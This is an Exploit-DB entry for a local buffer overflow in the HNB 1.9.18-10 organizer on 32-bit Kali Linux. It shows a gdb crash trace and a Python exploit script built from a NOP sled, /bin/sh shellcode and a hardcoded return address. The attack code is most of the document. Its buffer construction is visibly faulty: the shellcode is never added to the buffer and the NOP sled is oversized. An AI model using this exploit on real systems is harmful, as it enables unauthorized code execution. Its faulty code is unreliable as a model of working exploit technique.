HNB 1.9.18-10 – Local Buffer Overflow - 体验盒子

作者： Juan Sacco

日期： 2016-06-27

类别：

local

平台：

linux

来源：https://www.exploit-db.com/exploits/40025/

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# Exploit developed using Exploit Pack v5.4

# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com

# Program affected: HNB - Organizer

# Version: 1.9.18-10

#

# Tested and developed under:Kali Linux 2.0 x86 - https://www.kali.org

# Program description:Hnb is an ncurses program to organize many

kinds of data in one place, for

# example addresses, todo lists, ideas, book reviews or to store snippets of

# brainstorming.

# Kali Linux 2.0 package: pool/main/h/hnb/hnb_1.9.18-10_i386.deb

# MD5sum: 1e1ff680f6e94a1a28ca85eeb3ea6aa0

# Website:http://hnb.sourceforge.net/

#

# gdb$ run -rc <code>python -c 'print "A"*108'

# Starting program: /usr/bin/hnb -rc <code>python -c 'print "A"*108'

# *** buffer overflow detected ***: /usr/bin/hnb terminated

# ======= Backtrace: =========

# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb7e14773]

# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7ea4b85]

# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb7ea2c3a]

# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb7ea2127]

# /usr/bin/hnb[0x8049669]

# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xf3)[0xb7dc1a63]

# /usr/bin/hnb[0x804a2d9]

# ======= Memory map: ========

# 08048000-0806e000 r-xp 00000000 08:01 2253992/usr/bin/hnb

# 0806e000-0806f000 r--p 00025000 08:01 2253992/usr/bin/hnb

# 0806f000-08070000 rw-p 00026000 08:01 2253992/usr/bin/hnb

# 08070000-080b1000 rw-p 00000000 00:00 0[heap]

import os, subprocess

def run():

try:

print "# HNB Organizer - Local Buffer Overflow by Juan Sacco"

print "# This Exploit has been developed using Exploit Pack"

# NOPSLED + SHELLCODE + EIP

buffersize = 108

nopsled = "\x90"*40

shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

eip = "\x40\xf3\xff\xbf"

buffer = nopsled * (buffersize-len(shellcode)) + eip

subprocess.call(["hnb -rc",' ', buffer])

except OSError as e:

if e.errno == os.errno.ENOENT:

print "Sorry, HNB File Viewer - Not found!"

else:

print "Error executing exploit"

raise

def howtousage():

print "Snap! Something went wrong"

sys.exit(-1)

if __name__ == '__main__':

try:

print "Exploit HNB 1.9.18-10 Local Overflow Exploit"

print "Author: Juan Sacco - Exploit Pack"

except IndexError:

howtousage()

run()